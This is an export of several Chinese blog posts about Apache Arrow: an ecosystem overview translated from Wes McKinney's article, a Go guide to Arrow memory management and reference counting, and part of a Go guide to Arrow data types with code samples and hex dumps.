Arrow内存格式的好处，并解决随之而来的一阶和二阶问题（例如从云存储中读取Parquet文件，然后进行一些内存分析处理）。如果没有一个可信的、“自带电池”的软件堆栈来构建支持Arrow的计算应用程序来配合它，Arrow的列式格式本质上只能作为一种替代文件格式。\n最近，在将Arrow列式格式和协议稳定用于生产用途后，社区一直专注于提供快速的Arrow原生计算组件。这项工作在C++和Rust社区中最为活跃。使用这些语言的查询引擎项目（DataFusion for Rust 和尚未命名的C++子项目），您可以轻松地将嵌入式Arrow原生列式数据处理特性添加到您的应用程序中。这可能包括您可能使用SQL或数据帧(dataframe)库（如 pandas 或 dplyr）表示的工作负载。新的高性能数据帧库（如Polars）从一开始就被构建为Arrow原生。在Voltron Data，我们正在积极努力使这些功能无缝地提供给Python和R程序员。\n让这些项目采用Arrow数据互操作性协议的一个令人信服的理由是，与任何其他使用Arrow的项目可以实现简单快速的连接。早期采用者出于信任并收获了巨大的回报。现在，任何可以读写Arrow的项目都可以通过一个快速路径连接到数据帧库（如 pandas 和 R）和许多机器学习系统（PyTorch、TensorFlow、Hugging Face）。\nArrow的贡献者通过与其他开源项目的密切合作，扩展了项目的能力。最近，与DuckDB实验室合作，使用DuckDB作为嵌入式执行引擎实现了无缝查询。R或Python现在能够使用DuckDB无缝查询其Arrow数据，可以使用类似数据帧的API（如dplyr）或SQL。此集成是经由Arrow的C数据接口实现的。\n使数据服务和分布式系统更容易使用Arrow的二进制格式是推动Arrow被更广泛接纳的一个重要工作。由于将Arrow协议与一些通用数据服务框架（如 gRPC 或 Apache Thrift）联合最佳使用需要一些中间件代码，因此社区开发了Flight，这是一个用于Arrow原生数据服务的开发者框架和客户端-服务器协议。Flight提供了用于实现服务器和客户端逻辑的高级库，同时使用行业标准gRPC库进行内部通信。通过在客户端和服务器中使用通用内存格式来消除不必要的数据序列化，用户可以实现以前在独立于语言的协议中无法想象的数据吞吐级别（在某些情况下每秒几千兆字节）。Flight库现在在许多Arrow语言库（C++、Python、R、Java、Rust、Go）中可用，未来肯定会添加更多语言。\n数据库是最普遍使用的数据服务之一，ODBC和JDBC等标准数据库接口根本上是为实现互操作性和兼容性而设计，而不是为了速度。因此，Flight带来了两全其美的可能性：互操作性而又不影响性能。但是，作为开发者框架和协议的Flight没有任何关于SQL数据库工作方式的内置概念，包括用户会话、执行查询的生命周期或预处理语句等内容。还有一个风险是，每个数据库系统实现其Flight服务器的方式略有不同，因此用户必须使用不同的Flight客户端来访问每种数据库。为了解决这些问题，包括SQL数据库的客户端/服务器标准化以及与ODBC和JDBC相似的高级功能，Arrow创建了一个称为Flight SQL的Flight应用程序扩展。现在，数据库开发人员可以实现一个通用的Flight SQL服务器，用户将能够使用标准的Flight SQL客户端访问任何启用Flight SQL的数据库。\n来源：https://www.dremio.com/subsurface/arrow-flight-sql-a-universal-jdbc-driver\nApache Arrow生态系统的发展和采用 Arrow项目及其生态系统的发展得益于其早期采纳者的成功。总的来说，Arrow已经成为Python用户与以Parquet等文件格式存储的数据集进行交互的标准工具。如上所述，在项目早期，我们与Spark社区合作，使用Arrow更快地将数据传输到pandas来加速PySpark。在这些早期成功案例之后，许多其他项目都采用了Arrow来实现更快的互操作性和内存处理，并删除了以前的定制解决方案。\n通过采用Arrow进行数据传输，Streamlit能够删除自定义代码，同时大幅提高应用程序性能。Streamlit的传统序列化框架基于Protocol Buffers，用于将表格数据从Python后端发送到JavaScript前端。通过将自定义序列化程序替换为Arrow，Streamlit的性能提高了15倍，并且能够通过使用现成的解决方案来简化其代码库。\n来源： https://blog.streamlit.io/content/images/2021/07/legacy-vs-arrow-2-1.png#shadow\nDremio是从头开始就以Apache Arrow为核心构建的系统。Dremio由Jacques Nadeau共同创立，是一个用于数据湖的分布式查询引擎。Dremio开发了一种基于LLVM的即时表达式编译器，称为Gandiva（现在是Arrow项目的一部分），它可以针对Arrow列式内存的操作生成高效的机器代码。与在JVM中执行的解释表达式相比，这可实现更快的性能。\n最近，Databricks发布了Cloud Fetch connector，用于将商业智能工具（如Tableau或Power BI）与存储在云中的数据连接起来。过去，从传统数据仓库检索数据的速度受到了在单个线程上从单个SQL端点提取数据的速度的限制。这限制了交互式数据探索工具的有用性。Cloud Fetch 使用Arrow wire协议从云存储并行流式传输数据，与传统方法相比，性能提高了12倍。\n这些只是使用Arrow项目的某些部分来加速数据移动或在内存中处理数据的项目的几个示例。随着越来越多的项目启用Arrow，用户将获得复合效率的优势。例如，在Snowflake实现以Arrow格式从其系统中检索数据后，他们的Python和JDBC客户端的数据检索速度提高了5倍。这不仅使Snowflake查询运行得更快，而且使得与Snowflake集成的产品运行得更快。例如，人工智能驱动的分析平台Tellius能够使用Arrow将他们与Snowflake的集成速度提高3倍，相比于之前的实现。\n社区 Apache Arrow的受欢迎程度正在不断增长。事实上，Arrow的Python库PyArrow在2022年1月的下载量为4600w次，这一数字比2021年10月份创造的之前的记录增加了近800w次。我们预计，随着越来越多的项目采用Arrow作为依赖项，这一趋势将继续下去。\n资料来源：https://pypistats.org/，沃尔创数据\nArrow为数据传输、对二进制文件（如 Parquet）的高速访问以及快速发展的计算引擎提供了坚实的基础。这需要多年的工作和一个庞大的社区才能实现。在过去的6年里，Arrow开发者社区得到了相当大的发展：自2016年首次发布以来，已有676名独立的开发人员为该项目做出了贡献，其中105名贡献者参与了Arrow 7.0.0版本的开发。\n与Apache软件基金会中的所有项目一样，我们遵循Apache Way，这是一个开放透明的开源项目治理框架。项目讨论和决策必须在公开场合进行，例如在邮件列表或GitHub上。贡献者以个人身份参与，而不是作为他们工作的公司的代表。通过公开开展所有项目业务，我们可以保持包容和专业的氛围，欢迎来自世界各地的贡献者的不同观点。Apache Way重视多种贡献：回答用户问题、分类错误报告和编写文档与提出拉取请求一样重要。Arrow项目主要的开发人员邮件列表是dev@arrow.apache.org。\n在项目中持续工作一段时间后，贡献者可以通过项目管理委员会（PMC）的投票被提升为“提交者”（对项目git存储库具有写入权限）。表现出致力于发展和指导项目社区的提交者以后可能会被提升加入PMC。PMC成员是项目指导委员会，对项目中的发布和其他重大决策具有约束力的投票权。目前Arrow项目有67个提交者和38个PMC 成员。\n未来 随着Arrow开发者社区的发展，项目范围也在扩大。该项目始于六年前，旨在设计一个独立于语言的标准来表示面向列的数据，以及一个二进制协议，用于在应用程序之间移动数据。从那时起，该项目稳步发展，提供了一个自带电池的开发工具箱，以简化构建涉及处理大型数据集的高性能分析应用程序。我们预计Arrow将成为下一代大数据系统的关键组成部分。\n我们期望开放标准和接口方面的工作能够继续团结和简化分析计算生态系统。我们参与了Substrait，这是一个新的开源框架，提供标准化的中间查询语言（低于SQL级别），将前端用户界面（如SQL或data frame库）与后端分析计算引擎连接起来。Substrait由Arrow项目联合创始人Jacques Nadeau创立，并且发展迅速。我们认为，有了这个新项目提供的执行引擎支持，编程语言接口与分析性计算将更容易发展。\n加入我们！ 发展Apache Arrow项目是我们Voltron Data使命的重要组成部分！我们期待继续与社区合作，推动生态系统向前发展。您可以订阅我们的新闻通讯以随时了解情况，并考虑在Twitter上关注我们@voltrondata以获取更多新闻。您还可以探索Voltron Data Enterprise Support订阅选项，这个订阅列表旨在帮助在Apache Arrow生态系统中工作的开发人员和公司。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/07/01/arrow-columnar-analytics/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/arrow-columnar-analytics-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/07/01/arrow-columnar-analytics\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/07/01/arrow-columnar-analytics\"\u003ehttps://tonybai.com/2023/07/01/arrow-columnar-analytics\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自\u003ca href=\"https://voltrondata.com/\"\u003eVoltron Data公司\u003c/a\u003eCTO \u003ca href=\"https://wesmckinney.com/\"\u003eWes McKinney\u003c/a\u003e的文章\u003ca href=\"https://voltrondata.com/resources/arrow-columnar-analytics\"\u003e《Apache Arrow: Driving Columnar Analytics Performance and Connectivity》\u003c/a\u003e。这篇文章回顾了现代大数据分析遇到的问题、\u003ca href=\"https://tonybai.com/tag/arrow\"\u003eArrow项目\u003c/a\u003e的起源、生态发展以及对未来的展望。\u003c/p\u003e\n\u003cp\u003e以下是正文部分。\u003c/p\u003e","title":"Apache Arrow：驱动列式分析性能和连接性的提升[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\n如果你看了上一篇《Go语言开发者的Apache Arrow使用指南：数据类型》中的诸多Go操作arrow的代码示例，你很可能会被代码中大量使用的Retain和Release方法搞晕。不光大家有这样的感觉，我也有同样的feeling：Go是GC语言，为什么还要借助另外一套Retain和Release来进行内存管理呢？\n在这一篇文章中，我们就来探索一下这个问题的答案，并看看如何使用Retain和Release，顺便再了解一下Apache Arrow的Go实现原理。\n注：本文的内容基于Apache Arrow Go v13版本(go.mod中go version为v13)的代码。\n1. Go Arrow实现中的builder模式 看过第一篇文章中的代码的童鞋可能发现了，无论是Primitive array type还是嵌套类型的诸如List array type，其array的创建套路都是这样的：\n首先创建对应类型的Builder，比如array.Int32Builder； 然后，向Builder实例中append值； 最后，通过Builder的NewArray方法获得目标Array的实例，比如array.Int32。 据说这个builder模式是参考了Arrow的C++实现。这里将Go的builder模式中各个类型之间的关系以下面这幅示意图的形式呈现一下：\n当然这幅图也大概可以作为Go Arrow实现的原理图。\n从图中，我们可以看到：\nArrow go提供了Builder、Array、ArrayData接口作为抽象，在这些接口中都包含了用作内存引用计数管理的Retain和Release方法；\narray包提供了Builder接口的一个默认实现builder类型，所有的XXXBuilder都组(内)合(嵌)了这个类型，这个类型实现了Retain方法，Release方法需要XXXBuilder自行实现。\narray包提供了Array接口的一个默认实现array类型，所有的array type(比如array.Int32)都组(内)合(嵌)了这个array类型。该类型实现了Retain和Release方法。\n// github.com/apache/arrow/go/arrow/array/array.go type array struct { refCount int64 data *Data nullBitmapBytes []byte }\n// Retain increases the reference count by 1. // Retain may be called simultaneously from multiple goroutines. func (a *array) Retain() { atomic.AddInt64(\u0026amp;a.refCount, 1) }\n// Release decreases the reference count by 1. // Release may be called simultaneously from multiple goroutines. // When the reference count goes to zero, the memory is freed. func (a *array) Release() { debug.Assert(atomic.LoadInt64(\u0026amp;a.refCount) \u0026gt; 0, \u0026ldquo;too many releases\u0026rdquo;)\nif atomic.AddInt64(\u0026amp;a.refCount, -1) == 0 { a.data.Release() a.data, a.nullBitmapBytes = nil, nil } }\n下面以Int64 array type为例：\n// github.com/apache/arrow/go/arrow/array/numeric.gen.go // A type which represents an immutable sequence of int64 values. type Int64 struct { array // “继承”了array的Retain和Release方法。 values []int64 } 通过XXXBuilder类型的NewArray方法可以获得该Builder对应的Array type实例，比如：调用Int32Builder的NewArray可获得一个Int32 array type的实例。一个array type实例对应的数据是逻辑上immutable的，一旦创建便不能改变。\n通过Array接口的Data方法可以得到该array type的底层数据layout实现(arrow.ArrayData接口的实现)，包括child data。\narrow包定义了所有的数据类型对应的ID值和string串，这个与arrow.DataType接口放在了一个源文件中。\n另外要注意，XXXBuilder的实例是“一次性”的，一旦调用NewArray方法返回一个array type实例，该XXXBuilder就会被reset。如果再次调用其NewArray方法，只能得到一个空的array type实例。你可以重用该Builder，只需向该Builder实例重新append值即可(见下面示例)：\n// reuse_string_builder.go\nfunc main() { bldr := array.NewStringBuilder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]string{\u0026ldquo;hello\u0026rdquo;, \u0026ldquo;apache arrow\u0026rdquo;}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr)\n// reuse the builder bldr.AppendValues([]string{\u0026quot;happy birthday\u0026quot;, \u0026quot;leo messi\u0026quot;}, nil) arr1 := bldr.NewArray() defer arr1.Release() bitmaps1 := arr1.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps1)) bufs1 := arr1.Data().Buffers() for _, buf := range bufs1 { if buf != nil { fmt.Println(hex.Dump(buf.Buf())) } } fmt.Println(arr1) }\n输出上面示例运行结果：\n$go run reuse_string_builder.go 00000000 03 |.| 00000000 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 05 00 00 00 11 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 68 65 6c 6c 6f 61 70 61 63 68 65 20 61 72 72 6f |helloapache arro| 00000010 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |w...............| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [\u0026quot;hello\u0026quot; \u0026quot;apache arrow\u0026quot;] 00000000 03 |.| 00000000 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 00 00 00 00 0e 00 00 00 17 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000000 68 61 70 70 79 20 62 69 72 74 68 64 61 79 6c 65 |happy birthdayle| 00000010 6f 20 6d 65 73 73 69 00 00 00 00 00 00 00 00 00 |o messi.........| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| [\u0026quot;happy birthday\u0026quot; \u0026quot;leo messi\u0026quot;] 想必到这里，大家对Arrow的Go实现原理有了一个大概的认知了。接下来，我们再来看Go arrow实现的内存引用计数管理。\n2. Go Arrow实现的内存引用计数管理 在上面图中，我们看到Go Arrow实现的几个主要接口Builder、Array、ArrayData都包含了Release和Retain方法，也就是说实现了这些接口的类型都支持采用引用计数方法(Reference Counting)进行内存的跟踪和管理。Retain方法的语义是引用计数加1，而Release方法则是引用计数减1。由于采用了原子操作对引用计数进行加减，因此这两个方法是并发安全的。当引用计数减到0时，该引用计数对应的内存块就可以被释放掉了。\nGo Arrow实现的主页上对引用计数的使用场景和规则做了如下说明：\n如果你被传递了一个对象并希望获得它的所有权(ownership)，你必须调用Retain方法。当你不再需要该对象时，你必须调用对应的Release方法。”获得所有权”意味着你希望在当前函数调用的范围之外访问该对象。 你通过名称以New或Copy开头的函数创建的任何对象，或者在通过channel接收对象时，你都将拥有所有权。因此，一旦你不再需要这个对象，你必须调用Release。 如果你通过一个channel发送一个对象，你必须在发送之前调用Retain，因为接收者将拥有该对象。接收者有义务在以后不再需要该对象时调用Release。 有了这个说明后，我们对于Retain和Release的使用场景基本做到心里有谱了。但还有一个问题亟待解决，那就是：Go是GC语言，为何还要在GC之上加上一套引用计数呢？\n这个问题我在这个issue中找到了答案。一个Go arrow实现的commiter在回答issue时提到：“理论上，如果你知道你使用的是默认的Go分配器，你实际上不必在你的消费者(指的是Arrow Go包 API的使用者)代码中调用Retain/Release，可以直接让Go垃圾回收器管理一切。我们只需要确保我们在库内调用Retain/Release，这样如果消费者使用非Go GC分配器，我们就可以确保他们不会出现内存泄漏”。\n下面是默认的Go分配器的实现代码：\npackage memory // DefaultAllocator is a default implementation of Allocator and can be used anywhere // an Allocator is required. // // DefaultAllocator is safe to use from multiple goroutines. var DefaultAllocator Allocator = NewGoAllocator() type GoAllocator struct{} func NewGoAllocator() *GoAllocator { return \u0026amp;GoAllocator{} } func (a *GoAllocator) Allocate(size int) []byte { buf := make([]byte, size+alignment) // padding for 64-byte alignment addr := int(addressOf(buf)) next := roundUpToMultipleOf64(addr) if addr != next { shift := next - addr return buf[shift : size+shift : size+shift] } return buf[:size:size] } func (a *GoAllocator) Reallocate(size int, b []byte) []byte { if size == len(b) { return b } newBuf := a.Allocate(size) copy(newBuf, b) return newBuf } func (a *GoAllocator) Free(b []byte) {} 我们看到默认的Allocator只是分配一个原生切片，并且切片的底层内存块要保证64-byte对齐。\n但为什么Retain和Release依然存在且需要调用呢？这位commiter给出了他理解的几点原因：\n允许用户控制buffer和内部数据何时被设置为nil，以便在可能的情况下提前标记为可被垃圾收集； 如果用户愿意，允许正确使用不依赖Go垃圾收集器的分配器（比如mallocator实现，它使用malloc/free来管理C内存而不是使用Go垃圾收集来管理）； 虽然用户可以通过SetFinalizer来使用Finalizer进行内存释放，但一般来说，我们建议最好有一个显式的释放动作，而不是依赖finalizer，因为没有实际保证finalizer会运行。此外，finalizer只在GC期间运行，这意味着如果你的分配器正在分配C内存或其他东西，而Go内存一直很低，那么你有可能在任何finalizer运行以实际调用Free之前，就被分配了大量的C内存，从而耗尽了你的内存。 基于这些原因，Go Arrow实现保留了Retain和Release，虽然有上门的一些场景使用方法，但这两个方法的加入一定程度上增加了Go Arrow API使用的门槛。并且在重度使用Go Arrow实现的程序中，大家务必对程序做稳定性长测试验证，以确保memory没有leak。\n3. 如何实现ZeroCopy的内存数据共享 《In-Memory Analytics with Apache Arrow》一书在第二章中提到了采用Arrow实现zerocopy的内存数据共享的原理，这里将其称为“切片(slice)原理”，用书中的例子简单描述就是这样的：假设你想对一个有数十亿行的非常大的数据集进行一些分析操作。提高这种操作性能的一个常见方法是对行的子集进行并行操作，即仅通过对数组和数据缓冲区进行切分，而不需要复制底层数据。这样你操作的每个批次都不是一个副本–它只是数据的一个视图。书中还给出了如下示意图：\n右侧切片列中的每个切片的虚线表示它们只是各自列中的数据子集的视图，每个切片都可以安全地进行并行操作。\narray type是逻辑上immutable的，底层data buffer一旦建立后，便可以通过切片的方式来以zerocopy方式做内存数据共享，极大提高了数据操作的性能。\n4. 小结 本文介绍了Go arrow实现的主要结构以及实现模式：builder模式，并结合Go arrow官方资料说明了采用引用计数进行内存管理的原因与使用方法，最后介绍了Arrow实现ZeroCopy的内存数据共享的原理。这些将为后续继续深入学习Arrow高级数据类型/结构奠定良好的基础。\n注：本文涉及的源代码在这里可以下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/a-guide-of-using-apache-arrow-for-gopher-part2-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\"\u003ehttps://tonybai.com/2023/06/30/a-guide-of-using-apache-arrow-for-gopher-part2\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果你看了上一篇\u003ca href=\"https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\"\u003e《Go语言开发者的Apache Arrow使用指南：数据类型》\u003c/a\u003e中的诸多Go操作arrow的代码示例，你很可能会被代码中大量使用的Retain和Release方法搞晕。不光大家有这样的感觉，我也有同样的feeling：\u003cstrong\u003e\u003ca href=\"https://tonybai.com/2023/06/13/understand-go-gc-overhead-behind-the-convenience\"\u003eGo是GC语言\u003c/a\u003e，为什么还要借助另外一套Retain和Release来进行内存管理呢\u003c/strong\u003e？\u003c/p\u003e","title":"Go语言开发者的Apache Arrow使用指南：内存管理"},{"content":"\n本文永久链接 – https://tonybai.com/2023/06/25/a-guide-of-using-apache-arrow-for-gopher-part1\n如果你不是做大数据分析的，提到Arrow这个词，你可能会以为我要聊聊那个箭牌卫浴或是箭牌口香糖(注：其实箭牌口香糖使用的单词并非Arrow)。其实我要聊的是Apache的一个顶级项目：Arrow。\n为什么要聊这个项目呢？说来话长，主要是因为前段时间接触到的几个时序数据库开源项目，包括国外大名鼎鼎的InfluxDB(尤指其iox这个新存储引擎)以及国内一个新初创公司的开源项目greptimedb。它们其实是竞争对手，但他们有一个共同的特点，那就是时序数据在内存中的组织都是基于Arrow设计与实现的。\nInfluxDB iox的主力开发者Andrew Lamb在他的一次技术分享中曾提到这样一个观点：\n如果你在编码实现一个分析型数据库系统，那么你最终将实现Arrow的功能集合。\n在上述公司技术人员的眼中，Arrow是构建下一代时序数据库引擎的核心技术之一。\nArrow内容很多，不是一篇文章可以聊完的，因此我计划了一个系列的文章，争取能覆盖到Arrow项目的核心部分的内容，这里是第一篇。\n注：Arrow是语言无关的，但这里所有代码示例使用的都是Go语言^_^。\n1. Arrow项目简介 按照Arrow项目官方的说法：“Apache Arrow是一个用于内存分析的开发平台。它包含一组技术，这些技术可以使大数据系统能够快速处理和移动数据。它为平面和分层数据指定了一种标准化的独立于语言的列式内存格式，其组织形式为现代硬件上的数据的高效分析操作做了充分考虑”。\n简单诠释一下上面这段话：\nApache Arrow编写了一套编程语言无关的内存格式规范(当前版本为v1.3)，这是一种列式存储的格式，基于这种格式可以实现高压缩比的数据的压缩存储、高效的性能分析操作以及无需序列化和反序列化的低开销数据传输。 下图是展示了Arrow的列式存储格式。最上面的是一个逻辑表，这个表有三个列：ARCHER、LOCATION和YEAR，左下角是使用行式存储实现逻辑表的内存存储方式，而右下角则是Arrow的方案，即采用列式存储格式实现逻辑表的方式：\n注：上图由来自《In-Memory Analytics with Apache Arrow》书中的几幅图拼接而成。\n一套规范，大家共尊，这样数据传递和处理时，无需序列化和反序列化 注：上图同样由来自《In-Memory Analytics with Apache Arrow》书中的2幅图拼接而成。\n多种主流语言的实现 下面是Arrow项目的各个编程语言的实现和支持矩阵情况：\n我们看到，目前C++、Java、Go和Rust等对Arrow的支持较为全面。\n通信传输与磁盘存储 Arrow的子项目Arrow Flight RPC为使用Arrow内存格式的系统提供了标准的通信传输方式。\nApache的另外一个顶级项目Parquet则经常被用作Arrow数据的磁盘存储格式，InfluxDB iox项目也是将内存中的Arrow格式数据转换为Parquet后存储在对象存储中的。\n了解了Arrow项目的大致情况后，我们接下来再来看看Arrow项目的核心规范：Arrow Columnar Format。\n2. Arrow Columnar Format规范 很多人最厌恶读所谓的“规范”了，太抽象，太概念化了，啃起来很烧脑。很不巧，Arrow Columnar Format规范也归属在这一类规范中。\n不过，再难啃也得啃。如果不了解规范中的术语和概念，后面我们很可能就走不下去了。好在我们有《In-Memory Analytics with Apache Arrow》的帮助，算是有了抓手，将书与规范结合在一起看，略微降低一些理解上的难度。\nArrow的列式格式有一些关键特性，这里引述一下：\n顺序访问(扫描)的数据邻接性 O(1)（恒定时间）随机访问 对SIMD和矢量化友好 可重新定位，没有”指针摆动”，允许在共享内存中实现真正的零拷贝访问 这些关键特性都在告诉我们Arrow具备一个优点：快！这也是为什么influxdb iox引擎使用Arrow作为数据在内存中组织形式的原因，Andrew Lamb在他的分享中给出了Rust使用Arrow和不使用Arrow的性能对比：\n我们看到基于Arrow的实现比原生Rust实现还要快很多！\n前面说过：Arrow是列式存储格式，它的核心型态就是Array。\nArray是已知长度的同构类型值的序列，Array中一个值称为一个slot：\n规范同时定义了承载Array的内存表示(physical layout)，通常一个Array的内存表示由多个buffer构成，每个buffer实际上就是一个固定长度的连续内存区域：\nArray支持嵌套，像List\\就是一个嵌套类型(Nested type)，而List\\称为parent array类型，而U则称为child array type。如果一个Array不是嵌套类型，那么称之为Primitive type。\n要真正了解Arrow，就要了解每个Array type的physical layout，一个array type也被称为一个logical type。Arrow定义了多种logical type，它们拥有不同的physical layout，当然也可以拥有相同的physical layout。相同physical layout的logical type可以划为一类，按layout type进行分类，我们能得到下面这张表(摘自《In-Memory Analytics with Apache Arrow》一书)：\n我们看到不同layout中有一些buffer并非用来存储data，比如多数layout的buffer0存储的是一个bitmap，有的buffer1存储的是offset，这些非data的信息被称为metadata。实际上，一个array是由一些metadata和真正的data组合而成的。\n下面我们逐个来看看这些layout不同的Arrow array类型。\n3. 数据类型 3.1 metadata 在介绍Arrow的array类型之前，我们简单说说metadata。\nArrow array有如下几个常见的属性是存放在metadata中的：\nArray length：array中slot的数量，即array有几个元素，通常用64-bit signed integer表示； Null count：null value slot的数量，同样也通常用64-bit signed integer表示； Validity bitmaps：bitmap中的bit用来指示对应的array slot是否为null。并且arrow使用的是“小端bit序”，以一个字节(8bit)为一组，bitmap的最右侧bit指示的是array中第一个slot是否为null(未置位代表是null)，下面是一个示意图： 下面是用arrow的go包实现的上述示意图中的代码示例：\n// bitmap_of_array.go package main import ( \u0026quot;encoding/hex\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/array\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/memory\u0026quot; ) func main() { bldr := array.NewInt64Builder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]int64{1, 2}, nil) bldr.AppendNull() bldr.AppendValues([]int64{4, 5, 6, 7, 8, 9, 10}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) // fb 03 00 00 fmt.Println(arr) // [1 2 (null) 4 5 6 7 8 9 10] } 如果一个array没有null元素，那也可以省略bitmap。\n看完metadata，我们接下来就来看一些arrow定义的array逻辑类型。\n3.2 Null type Null type并非null，它是一种无需真正分配内存的logical type，下面是arrow go实现中NullType的定义：\n// NullType describes a degenerate array, with zero physical storage. type NullType struct{} 我们知道struct{}不占用任何真实内存空间，NullType则“继承”了这点。\n3.3 Primitive Type Primitive type指的是slot元素类型相同且定长的arrow array type，从Go的源码中我们能找到如下这些Primitive Types:\nvar ( PrimitiveTypes = struct { Int8 DataType Int16 DataType Int32 DataType Int64 DataType Uint8 DataType Uint16 DataType Uint32 DataType Uint64 DataType Float32 DataType Float64 DataType Date32 DataType Date64 DataType }{ ... ... } ) 下面挑重点说说。\n3.3.1 Boolean Type Boolean Type不在上面的Primitive Types行列，但实质上，Boolean Type也属于PrimitiveType这一类。在Arrow中，Boolean array Type是使用bit对每一个slot进行存储的。我们来看一个例子：\n// boolean_array_type.go package main import ( \u0026quot;encoding/hex\u0026quot; \u0026quot;fmt\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/array\u0026quot; \u0026quot;github.com/apache/arrow/go/v13/arrow/memory\u0026quot; ) func main() { bldr := array.NewBooleanBuilder(memory.DefaultAllocator) defer bldr.Release() bldr.AppendValues([]bool{true, false}, nil) bldr.AppendNull() bldr.AppendValues([]bool{true, true, true, false, false, false, true}, nil) arr := bldr.NewArray() defer arr.Release() bitmaps := arr.NullBitmapBytes() fmt.Println(hex.Dump(bitmaps)) bufs := arr.Data().Buffers() for _, buf := range bufs { fmt.Println(hex.Dump(buf.Buf())) } fmt.Println(arr) } 这个例子输出的结果如下：\n$go run boolean_array_type.go 00000000 fb 03 00 00 |....| 00000000 fb 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 